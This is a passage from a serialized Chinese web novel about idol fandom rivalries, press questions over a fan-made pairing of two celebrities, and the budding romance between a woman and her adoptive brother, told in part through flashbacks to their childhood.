发完应援物江行舟和傅守越一人订了饮料一人订了点心,全都想的十分周到,江行舟虽然是个混账东西但好歹从亲弟弟手里抢了票才能来现场还不忘照顾他粉丝也算上他粉丝的份儿,傅守越跟江恒也是熟识自然也是如此。 这么瞧着两家还真像是一家粉丝似的。 这群粉丝中还有一批粉丝手中的应援灯牌是黄色的,只是偶尔亮了下没敢往外拿赶紧收起来了。 温栩栩粉丝和江恒粉丝都猜是别家的粉丝就都没多问,只是扎堆儿叽叽喳喳讨论自家蒸煮。 那群拿了黄色灯牌的粉丝十分兴奋,一群女孩眼睛里的光都发着亮还沉浸在即将见到爱豆偶像的喜悦中没缓过来。 下午四点嘉宾陆续到场,江恒下车后一如往昔向粉丝们打了声招呼才想进电台就看到江行舟傅守越以及他身边站着的女生,见两人动作亲密心下了然猜到这就是傅守越的妹妹。 江恒停下脚步心里还有些疑问这俩人在外头站着干什么,凭这俩的身份直接就能进电视台啊,在这里跟粉丝们扎堆儿想干嘛? 江恒的粉丝十分有礼貌特别乖的原地排队站好绝不打扰江恒在这里远眺看望他那不让人省心整日里作妖想上天的哥哥,生怕喊叫的声音太大把江恒惊走了。 江恒想上去问什么情况,后面又是一辆车驶过来。 车上的人打开车门,粉丝们挤破脑袋想看是谁来了。 下车的人身上穿了一身勾勒出好身材的白色西装,她腰上搭配了一条浅棕色细款腰带,更显腰细。这人赫然就是温栩栩。 “栩栩妈妈爱你!!”粉丝高声呼喊着温栩栩的名字,温栩栩脚下踩着高跟鞋但步子却很稳,一路走去跟粉丝们拍了下手行至江恒那方向才注意到江行舟傅守越和傅嘉誉。 第373章 她男人看见要不高兴的 温栩栩是知道自己大粉是傅嘉誉的,傅家那些烂事儿她不掺和,她对傅嘉誉没恶意但也不是多喜欢,她毕竟是许愿的朋友,对傅家人是有些抵触的。 至于江行舟?黎云笙的好友,她自然见过。 温栩栩挑挑眉,傅守越估计是为了傅嘉誉才来现场的,但江行舟……emmm,她不理解这位少爷想干嘛了。 她也有点想问你想出点什么幺蛾子,然而温栩栩的粉丝现在才看清来人是江恒。 江恒来参加这档节目实属突然,比温栩栩还更突然,压根没在行程表中更新公布,所以现场虽然有他爬墙的粉丝却还是更专注于温栩栩和江行舟。不过江恒那张脸逆天的精致好看,一群粉丝不由咂舌叽叽喳喳喊着江恒的名字。 但有一小窝粉丝不停大喊着“水水!水水!”喊着还取出在袋子里装着的灯牌,上面赫然写着“江恒温栩栩”两人名字之间还有个小爱心。有的灯牌就是晃眼的“水水”灯牌,昨晚才出来的一群粉丝为了来参加这次的节目录制还真是连夜找人做了这灯牌就为让温栩栩能看到“水水”CP粉了。 水水,可不就是江恒加温栩栩吗,两人姓都是三点水的。 江恒呦了一声朝那窝粉丝给了一个吻,CP粉嘤了一声激动的捂脸。 本来只有温栩栩或者江恒她们还不太敢亮灯牌,但现在等到了两人都出现了!江恒和温栩栩一起参加一档节目!她们胆子大了还不等到录制现场就拿出灯牌表明身份想让正主看到。 江恒十分热情友好的跟那些CP粉合影还顺便签字,像给CP粉盖章一样。 温栩栩唇角一抽如果不是现在人有点多她绝对冲过去把那人打一顿。 温栩栩还停在原地瞪江恒,这眼神看在CP粉眼里那就是充满爱意的眼神!温栩栩为什么在原地没动?那就是在等江恒啊!至于江恒早让她们忘到脑后了。 温栩栩心里清楚那是她跟江恒的CP粉,她要继续磨蹭指不定在粉丝眼里就是等江恒呢,估计还要再上一波热搜,就黎云笙那占有欲,她顿时觉得腰又酸了。 温栩栩想了下先进场了,江恒这边才给粉丝们签完名就见温栩栩先进场了这才匆忙的追着进场。 留着CP粉在原地呜呜呜的喊绝配绝绝子歌颂自家蒸煮的爱情。 CP粉:“哥哥姐姐是真的!” 温栩栩粉丝:不!是假的! CP粉:“栩栩在外面等那么久就是在等我们哥哥!栩栩看哥哥的眼神都是火热的呜呜呜!” 温栩栩粉丝:你们眼瞎吗?那是嫌弃嫌弃嫌弃! CP粉:“哥哥看到栩栩离开立刻去追栩栩,好绝!” 温栩栩粉丝:对!你家倒贴! 温栩栩粉丝是这会儿才知道她们之前为什么那么小心翼翼不敢说话生怕触霉头,敢情是CP粉!! CP粉,粉圈内最卑微可怜同时也是唯粉眼中最可恨的一种粉。 出事CP粉的锅,打投购买代言艹销量就要嘲CP粉氪金多少配不配做哥哥姐姐粉丝,平日没糖日日捡垃圾从细节里扣糖,出点大事小事就要被唯粉狙围困。 可谓是一批小可怜无疑。 温栩栩粉丝头戴小羽毛头箍瞪着对面那群CP粉,可恶!刚才还有人领了她们的应援物料还给了她们甜品和饮料啊啊啊! 水水CP粉懵懵的小可怜似的把灯牌收起来委屈巴巴回望。 温栩栩粉丝:??? 好像我们在欺负人似的。 发完应援江行舟傅守越带着傅嘉誉先进了后台,江恒正站在休息室的墙边挨训,看模样十分乖巧倒是看不出这货刺头劲儿了。 温栩栩跟江恒合作过一次舞台两人属于“相见恨晚”,是真的熟。 江行舟进门笑了一声:“呦在这挨训呢?” 江恒冲他呲牙又变回那凶恶模样。 江行舟啧了一声,江恒抠墙皮边抠边道:“昨晚上我们还一起喝酒呢你怎么今天就变脸啊,不就录个节目吗,你经纪人跟我的经纪人都同意了,捆绑CP那事儿我都没说我吃亏呢,你粉丝跟我的粉丝比差得多,怎么想都是你占便宜了。” 温栩栩坐在沙发上剥了块奶糖吃:“你问过我意见了?” 温栩栩挑眉:“我男人看见高不高兴才重要。” 温栩栩意味不明:“不然你觉得我昨晚是被谁带回去的。” 江恒被噎了一下:“那都已经这样了,水水都诞生了总不能把她们全都掐死在摇篮里,我们让她们诞生不能随便弃养。” 弃养还能这么用的? 温栩栩有点不想理人,江恒自顾自的走过去一屁股做她旁边半点不知道避嫌:“你那糖还有吗?” 温栩栩睨他一眼掏出一块柠檬味的丢过去,江恒低头摆弄糖纸把糖果塞进嘴里,顿时被酸的眼泪流出来下一秒就吐进垃圾桶,狗狗似的吐舌头,满脸幽怨的望着温栩栩。 温栩栩被他那眼神看乐了:“给你块柠檬味的糖果好让你清醒清醒,省得你只想着发疯 。” 江恒更委屈了。 他真没有这么倒贴过 ,倒贴就算了还被人嫌弃,怎么想怎么憋屈。 江恒撇撇嘴:“反正这CP粉已经有了。” 温栩栩没说话,江行舟手里还有一份甜品递给温栩栩,温栩栩思考着算算这甜品的热量摇摇头:“要胖的。” 江行舟表示理解,眼神悠悠的落到江恒身上:“温栩栩,江恒想跟你养着这些CP粉就养着,总归吃亏的不是你,他自己都不在乎,你在乎这些做什么。” 温栩栩声音有点沉:“如果这CP是真的那我没什么问题,但我已经跟黎云笙领证,这样对黎云笙不公平,而且这对粉丝来讲也是一种欺骗的行为。” “但凡我单身,或者我跟江恒真的在一起了,那随便磕,我甚至还能时不时的给她们发糖,可问题在于我们之间不可能有那种感情,CP粉因为这些粉上我们,还有一些是从唯粉转到CP粉,如果我已婚的消息传出去或者江恒有了女友等到那时候粉丝们一定会脱粉甚至回踩,我们一定会遭到反噬。” 温栩栩考虑的比较长远,从黎云笙的角度粉丝的角度及自己的角度都想的清楚。 一场始于欺骗的感情怎么能长久呢。 江行舟笑道:“这也不是什么大事,让粉丝们继续磕,只要一直表明你们是朋友关系那种兄妹或者姐弟一样的感情就好,一直给粉丝灌输这种思想,哪怕以后真的被人挖出来你已婚的消息也怪不到你们头上去。” 江行舟扬眉为她解释:“你是黎云笙的妻子,黎云笙跟我是好友,江恒又是我的弟弟,那你就是被黎云笙托好友弟弟照顾的小嫂子,这有什么不对吗?她们喊破天了你们也是有理的。” 傅嘉誉不停点头:“对,这个又不是你的错,那个视频也不是你们曝光出去的,你们也都在微博上发了信息说明互为朋友,其他的就算是粉丝的过度解读了。” 江恒在一旁不停点头觉得自己占理了:“就是就是。” 第374章 你们兄弟说拉黑就拉黑啊 听了江行舟的话温栩栩一时无言,都到这一步了也只能这样了。 节目组发放了最近的台本,改动并不大,只是部分镜头给了江恒并多了个温栩栩和江恒的双人合作舞蹈,算是想蹭一波热度。 温栩栩和江恒在后台彩排几遍,一个是业务能力过硬的顶流男爱豆,一个是全能C位女爱豆温栩栩,这两个撞一起合作怎么都是燃炸舞台的。 这档节目所有粉丝的手机都必须关机开飞行模式在节目播出前不能流出节目的一些信息。 主持人也是有意往温栩栩和江恒身上引,也有明星在一旁帮忙递台阶。 节目录制到晚上十点半,时间不早了众人也没多寒暄纷纷卸妆后打算离开,门外却堵着数不清的记者,似乎是等久了此刻对准几人开始拍摄。 下午录制前记者们是蹲错了地方,全都蹲在外围才让温栩栩他们开到电视台楼下,后来又是一群粉丝拦着,那些记者们也不敢冲上去拦着问东问西。 记者们本想等着粉丝们都散了再去采访,心寻思都十点多了粉丝们总能少一部分,哪知道过了十点还有大半批等着他们下班。 记者们没办法只能也跟着守在这里等他们下班第一时间冲上去拦住几人。 “温栩栩老师,请问昨晚是只有你跟江恒老师一起喝酒吗?” “江恒老师真的跟温栩栩老师恋爱了吗?” “两位老师对那些一直让你们好好搞事业不要恋爱的粉丝怎么看?两位更看重事业还是更看重爱情?” 记者冲上来七嘴八舌你问一句我问一句,镁光灯在黑夜中也不停闪烁。 温栩栩面上表情不变,下午在休息室已经商量好以后怎么面对记者。 她波澜不惊语气平静:“昨天我和江恒老师一起合作后跟同组一起聚餐,并没有私下约饭,至于恋爱……我和江恒老师只是朋友关系无关爱情,我先说明我不会跟圈内人有什么暧昧关系,如果你们觉得我跟圈内的异性暧昧那只能说我们关系不错是好朋友。” “至于询问我们看重事业还是看重爱情的……我更看重事业。” 温栩栩笑起来:“大家都是努力工作努力搬砖的干饭人。最后我要对那些说不同意明星和爱豆恋爱的粉丝说……这是每个人的自由,不能以你粉丝的身份就要求你粉的艺人必须听从你的安排,艺人有自己的思想,如果你们要的是听话乖巧不恋爱的牵线木偶那你们不适合粉任何人,因为你们管得实在太多,你们已经干涉到艺人的正常生活,这不是一个粉丝应该做的。” 温栩栩说这话时唇角是噙着笑的,但看到这抹笑的都能感觉到温栩栩这笑中自带冷意。 江恒在一旁附和几句,倒也没怎么吱声,大概就是温栩栩说一句他来一句温栩栩说得对。 记者们见江恒什么都顺着温栩栩,瞬间眼神都不对了,话筒全都对准了江恒。 “江老师,请问您跟温栩栩的看法是一样的吗?你也觉得爱豆可以随意恋爱吗?” 这记者问这话听着挺像来拱火的。 谁不知道在爱豆圈里,爱豆谈恋爱跟触犯天条没多大区别了。 江恒是个直肠子没什么脑子,但也听出来这记者是故意问了这话。 江恒心道他江家大少爷怕过谁啊在这里跟他玩文字陷阱呢。 “我参加选秀的时候不是已经回答过这个问题了?” 江恒对着镜头眼神犀利。 “别的爱豆怎么选择我管不着,那是他们的自由,但我入圈仅仅因为我热爱舞台,我爱喜欢谁喜欢谁,真要逼我我就退圈回家浪去。” 这事儿江恒还真干得出来。 记者被他这话给堵住了,一时不知道自己是该炫耀还是该羡慕嫉妒了。 温栩栩瞥了江恒一眼,那记者尴尬了一瞬却岔开话题:“那你们怎么看因为昨晚那段视频诞生的‘水水’CP?” 周围还有留守等候她们下班的水水CP粉,听到这个问题竖起耳朵还有点惊慌。 这次是江恒回答了:“她们很可爱,不过不要磕爱情,可以磕一磕朋友磕一磕兄妹啊姐弟啊这些都好,只要不磕爱情你们就能是我盖章承认的水水小粉丝。” 记者有点不信这话:“不能磕爱情……江老师你现在这么维护温栩栩的样子可不像清白的样子,您知道昨晚您的哥哥江行舟还特地发了条微博说弟大不中留吗?江总就是在回应这个问题,难道不是说明你们感情不错?” 这件事温栩栩都没关注,江恒更是满脸“啊哈?”整个人都懵了。 他是喜欢温栩栩啊,但江行舟他的狗哥哥什么时候也插手这件事了! 江恒打断记者们的问话:“给我点时间,我先看看新闻博文是怎么回事,我有点乱。” 他记得自己经纪人好像说这事儿来着他没放心上。 江恒点进微博终于知道怎么回事了。 江恒沉默片刻,重新面对镜头:“不管你们信不信,我觉得这就是我哥想搞我,我哥是江行舟你们知道的吧,我把他拉黑关小黑屋了,他就没事作妖想我把他放出来,这估计是跟朋友联合起来搞我呢,等我回去我就把他放出来骂一顿再拉黑。” 这一通话让记者都忍俊不禁,特别是江恒翻开自己微信让记者看了下那位被拉黑的江行舟。 不是你们兄弟……说拉黑真拉黑啊! 该问的都问了,倒是一起参加节目的一位影帝在一旁温柔笑了笑帮她们岔开话题:“各位不厚道啊,今天是电影电影宣传场,你们不问电影相关的问题怎么都开始八卦温栩栩和江恒?” 记者们立刻明白影帝这话的意思赶紧顺着影帝的话又问了几个关于电影电影即将上映的问题。 今晚记者们可以说是有大收获,采访了温栩栩和江恒还连带着也有关于电影的消息。 记者们回到公司都打算加班加点的把视频和稿子发了。 这边记者稿子还没发呢,网络上已经有了被人顶上去的热搜词条,且跟江恒温栩栩无关,在热搜挂着的是傅嘉誉和傅守越,连带着江行舟也因为那张脸上了热搜。 第375章 哥哥是喜欢她的吧 #‘晴天的小羽毛呀’与她的腹黑霸总哥哥# #开十辆豪车只为追星,壕气冲天# #骑机车的狂野男孩!# #有数不清的前任是A市各大夜店的常客,要交往吗# 点开第一个词条粉丝们留下羡慕的泪水,并被视频中傅守越体贴温柔迷了眼直接变成这位的路人小粉丝。 第三个词条和第四个词条全都是江行舟,一个是骑机车后摘头盔下车的视频一个是江行舟拒绝粉丝交往加好友请求的回复,一群人在下面嘻嘻哈哈。 【西瓜尾巴】:求求了,那些男人们向这位哥哥看齐好不啦!人家一看就是霸总精英却还陪着妹妹一起追星!帮妹妹发应援物料!我当时就在现场的,霸总哥哥真的贼暖,一直在哄妹妹,还给粉丝们买了甜品,呜呜呜这对哥哥妹妹真的我好羡慕我也好想有这样的哥哥! 【大粉】:好羡慕我们晴天有这么好的哥哥呜呜。 有人冒出头来嘿嘿一笑。 “不是?你们真信是哥哥啊!这摆明了就是情侣关系啊,两人一起粉红泡泡都要冒出来了!” “哥哥看妹妹的眼神绝对不清白,满满的都是爱意,我跟你讲我哥如果敢用这眼神看我立刻给他人都拍飞!” “靠,说不定还是什么小时候青梅竹马的哥哥未婚夫的设定,更带感了啊!” 一群人在微博上叽里呱啦的讨论着傅嘉誉和傅守越的关系,但粉丝们高兴不代表所有人都高兴。 众所周知这年头什么人都能上网,有人夸了有涵养的有钱男性,就会有一群蛆虫金针菇出来蹦跶丢人。 【就会打拳】呵呵,这年头人家开十辆豪车就是豪门了?穿西装就是总裁了?长得好看就整天跟在屁股后面哥哥哥哥的喊了?这娘们一看就还念书呢,指不定就是冲着他那点臭钱才跟了他,说什么爱情不就是看钱吗,呸,指不定那车都是租来装逼的,估计西装都是租的! 一群臭虫果然在下面点赞附和,不过几分钟傅氏官微转发“就会打拳”微博并提起诉讼。 【傅氏集团】:你对我们集团千金有什么误解吗?请接收我们的律师函。@就会打拳 不过片刻傅守越收购的公司官博也转发就会打拳微博提起诉讼。 这一下子炸出来一群女粉和路人力挺纷纷在下面留言快把这个垃圾带走最好判个十年二十年。 果然,律师函才出来,那几个人就不吱声了。 傻子才敢真的跟资本刚,他们也就是一群怨天尤人的无业游民罢了。 傅嘉誉上了车,整个人的脸还有点红扑扑的。 她装出一副什么都不知道的模样整理着剩下的影院物料,傅守越看出她似乎是想要龟缩起来,只是略微扬了下眉并没有多说什么,直到车子一路开到傅守越的公寓楼下,傅嘉誉才感觉不对劲。 “哥,你这是要开到什么地方去。” “不是说等节目之后要找我算账?去我那里?”傅守越偏头看向她,眼底弥漫的都是笑意,像是带着点调侃和认真。 傅嘉誉心跳的更快了,她缩在驾驶座上嘟囔:“谁家好人勾着自己妹妹谈恋爱的。” “那我妹妹被我勾到了吗。” 他声音还带着笑,简直不以为耻反以为荣。 傅守越的公寓傅嘉誉没来过几次,偏偏里面堆满了她的东西,不知道的都要以为这是她的公寓了。 进门就能看到沙发上横放着的超大的玩偶娃娃,是她上次心情不好醉酒的时候一定要买的娃娃,傅守越没丢,一直摆在家里。 她看到了,直接扑到沙发上,心跳的愈发快了,她抱住玩偶娃娃,整个人陷进沙发内。 “要吃点什么?这个时间有点晚了,是给你叫华庭的外卖还是吃哥哥做的?” 傅守越脱掉外套扯了下领带随手搭在沙发上,动作闲散有点斯文败类的劲儿。 傅嘉誉垂下头道:“等华庭那边做好送来就太晚了,随便煮碗面吃就好。” “好。” 傅嘉誉喜欢吃什么对什么忌口傅守越是最清楚的。 冰箱里还有傅守越昨天炖牛肉留下的浓汤,傅嘉誉挺爱吃肉的,特别是牛肉,各种口味,所以傅守越为此还去学了做饭。 好在有留下的浓汤,面条也不会太清淡,省的小祖宗挑三拣四最后吃一口就不肯吃了。 傅嘉誉就望着厨房内男人的背影。 她小时候就是这样看着他的,念书的时候傅守越会牵着她的手送她到班内,任谁也不能欺负她,幼年时候还总想吃些垃圾食品,父亲是不许的,傅守越也不许,但他总是扛不住她撒娇喊哥哥,最后总是会自己在厨房里学着怎么把垃圾食品做的干净卫生。 那时候她没少在学校炫耀自己有个最疼自己最宠自己的哥哥。 可这样的感情是从什么时候开始变质的? 傅守越很聪明,早早就跳级出国留学,她那时候年纪不小,但还单纯,不是很了解男女之间的感情,直到听到同班的同学看了些动漫或者爱情剧她才发现自己对傅守越的感情好像不太对了。 她还记得那个动漫,妹妹是被领养的,哥哥从小就喜欢妹妹,所以念书时期追求妹妹的异性全都被哥哥暗中驱赶,他一直看着妹妹,一直守护着妹妹,哪怕只是一段无疾而终的感情他好像也全然不在意。 傅嘉誉看动漫的时候根本控制不住的去想到傅守越。 傅守越和她之间没有血缘关系,她一直都知道的。 也是傅守越离开后才开始有男孩子追求她写情书,班内的女同学还曾调侃过,说她的哥哥护她护的很紧,那时候没人敢给她送情书呢。 她那时候就猜,哥哥应该是喜欢自己的。 可他们是兄妹啊,就算没有血缘关系也还是兄妹,不应该的。 她那时告诫自己,这是不对的。 她告诫过自己无数遍,可接到傅守越的电话还是忍不住沉溺其中,她想如果父亲知道了该怎么办? 第376章 不想听只想亲 傅嘉誉想,父亲会把傅守越赶出去吗?她不能没有哥哥的。 都说她傻可她却也是聪明的,她装出什么都不知道的模样,开始跟其他男性有了交流,而温然……他太像少年时期的傅守越了。 不是样貌像,而是性格,让她想到了最初的傅守越。 她想她应该是在乎哥哥的,她甚至开始挑剔想要找一个像傅守越的人。 那个人要对她好,心里眼里都是她,要很聪明,要很优秀,要对旁人很冷漠却最疼她一个,要记得她的生理期,要会做饭要在她饿了的时候准备出她最爱吃的点心,要陪着她一起追星看漫画……要做很多很多事,要非常非常偏爱她,全世界只有她最重要。 可是…… 哪里会有这样好的人呢? 他凭什么这么爱她呢?除了傅守越谁还能这样把她放到心尖尖上? 她挑来挑去最后也只看中了一个温然。 她想,温然性格那么像傅守越,时间久了或许也会喜欢他的。 所以她追求温然,可她追求的真的是温然吗? 不,她追求的好像是记忆中过去的傅守越,她追上了温然却发现这个人并不爱自己,他好像也知道她心里有人,更看出了傅守越对她的感情。 真是又可笑又可悲。 她甚至有点茫然的觉得傅守越一定是个坏蛋,不然他为什么要对自己这么好,对自己这么好就是不想别的男人来追求她,因为谁都不会比他更好了,她会一直对比一直孤独……他真的太可恶了。 可是可恶的傅守越今天却说不想做她的哥哥了。 她又慌又怕却又觉得心跳的太快了,像是胸口揣了无数只小兔子不停的蹦蹦跳跳想要从胸口蹦出来。 能在一起吗? 他们是兄妹啊,父亲能接受吗?父亲会生气的,他一定会丢掉傅守越,不准她再跟傅守越来往。 她其实不傻,她很聪明,她知道这世界上最爱自己的有两个人,一个是自己的父亲一个是自己的哥哥。 而父亲并不在意哥哥,他只在乎她。 所以他知道哥哥对自己有这个想法后一定会生气的。 她克制不住的眼睛红了,眼泪不停的往下流。 傅守越煮好面放到客厅餐桌上,身上的围裙都还没摘准备去给她榨杯橙汁,结果一低头就看到傅嘉誉流泪的模样,顿时心都收紧了,一抽一抽的疼着。 傅嘉誉是很少哭的。 可她现在哭的很凄惨很可怜,眼泪一颗颗的往下落。 “嘉誉,怎么了?是谁欺负你了?” “是今天那些记者说了什么难听话还是那些粉丝说了什么?” 傅守越也顾不上摘掉围裙就已经洗净了手走过去扯了纸巾擦拭着她眼角的泪水。 她抽泣着慢慢的停了哭声。 抬头看向他时她眼尾还带点红,眼睛里的泪意没有褪去,那样的眼神令人心碎,但其中又掺杂了别的东西,像是眼底带着几分对他的依赖在乎,让他有些不受控制的心跳加速,好像那种东西被人叫做保护欲。 他喉间发痒,手心也发痒,实在没忍住伸出手帮她拢了拢那头有些微乱的发。 客厅的窗户是开着的,微凉的夜风在两人周身吹过,带着凉意,可落在他身上时他却像是感受不到寒冷,好像这样的凉风都对他们格外偏爱些。 “嘉誉,怎么了?跟哥哥说说?” “哥哥……” 傅嘉誉扑进他怀里,她能问到傅守越身上古龙水的味道,是她喜欢的味道。 她蹭了蹭,抱紧傅守越,傅守越整个人僵住,半晌没有动作,片刻后才重重的“嗯”了一声将人揽抱进怀中。 “哥哥在。” “你是不是喜欢我,特别特别喜欢我,喜欢到想要跟我牵手拥抱接吻结婚的那种喜欢。” 她问出了这句话,露骨又直白。 傅守越像是很轻很轻的叹了口气:“我以为我做的已经很明显了。” 傅嘉誉望着他,眼里的泪意根本止也止不住:“我就是好怕……” “怕什么。” “我怕父亲会生气,会赶你走,我真的已经习惯你在我身边了,不可以让父亲赶你走……” 她想,她是不能没有傅守越的。 “哥哥和妹妹,传出去他们都要笑话我们,父亲会生气,他会赶你出国的。”傅嘉誉只要想想就觉得自己的心都开始疼起来。 她哥哥这么好,她不要哥哥被赶走。 “嘉誉,先不哭了,先听我说。” 傅守越抹去傅嘉誉眼角的泪水,他缓了片刻,眼神真挚诚恳。 可哪里是说不哭就能不哭的? “我又不是水龙头还能控制哭泣开关的……”傅嘉誉委屈。 她委屈起来也是可爱的,明明往日里对待旁的人总是盛气凌人的模样,偏偏此刻在他面前就成了小软糕,不仅身上的尖刺全都收起来了,甚至还露出软软的肚皮。 “你再哭,我要亲你了。”傅守越有些无奈的吓唬她。 她愣了下,眼睛瞪得更大了。 “我明明再跟你很认真的说正事,我在伤心难过你却只想这些事。” 傅守越的手揉了揉她的发开口:“知道我现在看到你一直开口讲话我的心里在想什么吗。” 她不知道,也猜不到。 “小嘴都在叽里咕噜说什么,不想听,只想亲。”他厚着脸皮说了这句话,像是调戏她似的,但她知道傅守越不过是想岔开话题逗她开心罢了。 可恶,根本就是在瞧不起她。 不就是亲亲吗,没在怕的! 傅嘉誉不知道哪里来的力气,也可能是傅守越就是顺着她,直接被她推到沙发上,他怔了下没有反抗,下一秒傅嘉誉整个人就已经跨坐在他身上,居高临下的看着他。 这副模样……像是个要逼迫良家的小霸王。 傅守越一时不知道自己是不是该笑一声,结果他的笨蛋妹妹这种时刻还在撩拨,手直接捏住他的下巴,凑过去。 “只会说不敢做,你不是想亲吗,亲啊。” 傅守越此刻心里只有一个想法。 妹妹好像真的被他气疯了。 见他没有反应,傅嘉誉气鼓鼓:“你不亲,那我亲了!” 第377章 嘉誉,别闹了 傅守越还在愣神之际,已经被傅嘉誉扯住领带被迫的仰起头,他全都随着她,没有要反抗的意思,只是眼底神色微微闪了闪,看着面前的妹妹喉结滚动。 “嘉誉,别闹了。” 他是真的认为傅嘉誉在闹。 他想了傅嘉誉念了傅嘉誉多久?从傅嘉誉带他回到傅家开始他的眼里就只装得下她一个人了。 傅守越身世凄惨比旁人更早熟,最初他知道只有牢牢把控傅嘉誉跟她有了兄妹情才能一直留在傅家。 可是她最初出现在他面前的那一天他将永远牢记,他永远不会忘记冬日他在外流浪的像个乞丐几乎要冻死在那个大雪封山的雪日,是那个骄纵的一定要指挥着保镖到处乱跑追雪人的小公主踏入了他的世界。 那时的他是什么模样? 多日的流浪让裸露在外的皮肤冻得皱起皮,脸上有不自然的两坨红,丑陋土气,他当时觉得多可笑啊,都快要被冻死了,竟然还惦记着自己这副模样太丑了会不会丑到这个本不该来到自己世界的小公主。 她多漂亮多干净,她穿的很厚实,大抵是傅长海担心她生病一定要把她裹成个球,甚至脸上都围了围巾,只露出那双清澈明亮的一双眼睛。 那一刻,他觉得自己好像看到了天使。 他听到他的小天使说:“你的眼睛真好看。” 谢天谢地他全身又脏又丑,大概也只剩下那双眼睛是好看的,她却看到了他唯一值得夸赞的地方。 “你为什么要在这种地方呢,你不冷吗?你都在发抖了,你是不是找不到家人走丢了。” 她的话很多,眨着一双黑葡萄一样的眼睛望着他,即便是保镖要将她拉扯开她也不依,就那样蹲下身解开自己脖子上带着淡淡奶香的围巾围到他的脖子上。 他本该警惕的,但她只是这么小的小孩子,还给了他围巾,一条围巾挡不了多少风,可他却觉得自己的身体好像都已经热起来。 “我没有父母。” 他太久没有吃正经东西,嗓子是干的,饿了就吃地上的雪团,胃已经被冰坏了。 傅嘉誉拍了拍手:“爸爸说不许我随便带有父母的人回家,那你没有父母能不能跟我回家,我刚好缺一个哥哥。” 她其实不缺哥哥,傅京礼就是她哥哥,只是傅京礼性子冷漠也不爱带着她,她整日看别的小伙伴炫耀哥哥对自己多好就有些羡慕。 小孩子总是想一出是一出。 傅嘉誉以前也捡过小猫回家,傅长海担心外面的野猫性子野抓伤她,所以才跟她讲,将有父母的小动物带回家她们的父母会担心,后来被带回的小野猫又跑走了,傅嘉誉再没捡过野猫了。 这次她见到了他,她眼神都是懵懂的问他要不要跟他一起回家。 他是怎么想的? 他想自己运气可真好,真的碰到了小天使,他没有贪心的希望自己真的能留下,他想的是能有顿饱饭让他活过今天今天就足够了。 可他没想到,她真的能够拯救他,将他从那个雪地带到天堂。 傅长海心思重,他本也打算给傅嘉誉寻个年龄相仿的玩伴护着她,他想的是从小培养的更会忠心护主,所以傅长海留下了他。 他心里也清楚,他看似是傅嘉誉的哥哥,其实就是傅嘉誉身边的挂件,他是为傅嘉誉而活。 他自小就护着傅嘉誉,但他不得不承认自己不是个好胚子。 他被捡回家的时候已经不小了,少年时期就已经对她动了心思,他是知道学校有人欺负傅嘉誉的,他当然会为她报复出气,可他每次都会躲在暗处看她眼皮浮起淡淡的粉,然后眼睛里全都是泪意,眼泪像是小珍珠一样不停的下落,掉在漂亮的公主裙上。 她哭起来真的很漂亮,他觉得自己是个变态,小小年纪就是个疯子对救自己回家的妹妹藏着别的心思。 他当然会为傅嘉誉报复回去,等到她哭起来他就会冲出去,那时候傅嘉誉就会像找到主心骨一样扑进他怀里,声音娇娇软软的喊着“哥哥”。 他想,他哪里是哥哥,他是畜生啊。 解决了那些欺负妹妹的人,他就会背起哭累了的妹妹上车回家,如果不是傅家每天都有人来接,他更希望自己能够一步一步背着妹妹回家。 他没觉得学校到傅家的距离有多远,背一辈子也愿意的。 她是真的很骄纵,脾气很大,每次她生气退让的一定会是他,当然是他心甘情愿退让的。 生气的妹妹会在便利本上写上他欠下的账本。 账本上都有格式的,开头就是坏蛋哥哥或者笨蛋哥哥,接下来就写他要为妹妹做什么事补偿,例如要为妹妹亲手做奶茶,要为妹妹做焦糖布丁,要带妹妹去游乐园,永远要最喜欢妹妹…… 账本厚厚一本,写满了幼时傅嘉誉的小本子,有的字不会写还写了拼音,甚至傅守越的越字还写成了“月”,傅守越总会在后面无奈的改自己的名字。 后来小祖宗有了手机给他的备注名字都是“傅守月”,名字都是错的,她也一直没改回来,就是懒的。 他那时就觉得自己不正常,他就是在无条件的迁就着小公主,他那么聪明怎么可能不知道自己的心里早已经装满了傅嘉誉。 不仅是救赎,还是他期盼的未来。 可他是个什么东西? 傅家的掌上明珠,高高在上的小公主,而他不过一条好命被捡回家的流浪狗罢了。 看,他对自己的定位多准确,从一开始他就只当自己是个畜生,不然也不会有那些疯子一样的想法。 傅长海再一次找到他时跟他谈心,他早就看出了他的心思,把话挑明了。 他的嘉誉是要在未来继承傅家的,他要一辈子辅佐傅嘉誉,旁的感情如果他有心也可以试一试。 傅长海心思深重,怎么可能看不出他对傅嘉誉那样复杂的感情。 他就是等着这一刻,他就是要让傅守月心甘情愿为傅嘉誉做事。 第378章 他是哥哥也是疯子 他的确是心甘情愿的,命都能随时给她。 傅长海说了那样多,可他拿什么去追求傅嘉誉?他配吗? 他现在所拥有的都是傅家给的,说的好听是傅家的养子,其实他心里清楚不过是傅长海的一条狗。 狗配追求什么?就是他自己都觉得这是对傅嘉誉的侮辱。 所以他不再按部就班的陪着傅嘉誉一点点长大,他开始不停学习跳级,傅长海开口让他离开A市区国外开拓市场他想都没想就应下。 他想证明自己不是废物,他要离开国内转去国外,他要创立自己的产业,等到真的站稳的那天他才有资格对傅嘉誉说出那个“爱”字。 他的小公主本就是云端上的明珠。 他要尽自己所能把自己能拿到的最好的东西都献给她,这是他的爱。 他在国外辗转反侧日日难以入眠,终于有了成就被傅长海召回国内却发现他日思夜想的妹妹有了男友。 温然吗,那一刻他有多想捏死这个男人。 可他不能这样做,他是哥哥,他要守着她护着她,她只是不爱自己而已,她有权利选择任何男性然后牵手拥抱恋爱结婚做更多事……该死他果然还是无法接受。 但事实却是无法接受也会继续强迫自己接受。 他是疯子是变态市畜生,傅嘉誉就是能困住他的牢笼。 他只要能看到她就好,他想妹妹一辈子都幸福。 他就这样守着护着到现在,傅嘉誉亲口告诉他,她和温然分手了,她的妹妹将他压到沙发上,气势凌人的看着他。 她以为的气势凌人在他看来不过是小猫瞪圆了眼睛,可爱。 怎么可能不想亲呢? 他早在睡梦中亲吻过无数次了。 但理智还是占据上风,他别过头不去对着傅嘉誉那张执拗的面容,嗓音带着哑意。 “嘉誉,别再闹了。” 傅守越心里想了多少才能压制内心即将脱笼而出的野兽傅嘉誉一概不知。 她只觉得哥哥拒绝自己了。 明明在外面的时候他不是这个态度的,他对自己没有感情吗。 为什么不亲亲她抱抱她呢。 温然不喜欢她跟她提分手的时候她眼睛都没红,因为她知道温然不会陪她走到最后,他就只是过路人。 傅守越是不一样的……他是哥哥……是她心里的人啊。 傅嘉誉的眼泪像断掉的珍珠不停滚落,她明明在哭却还是要瞪着他。 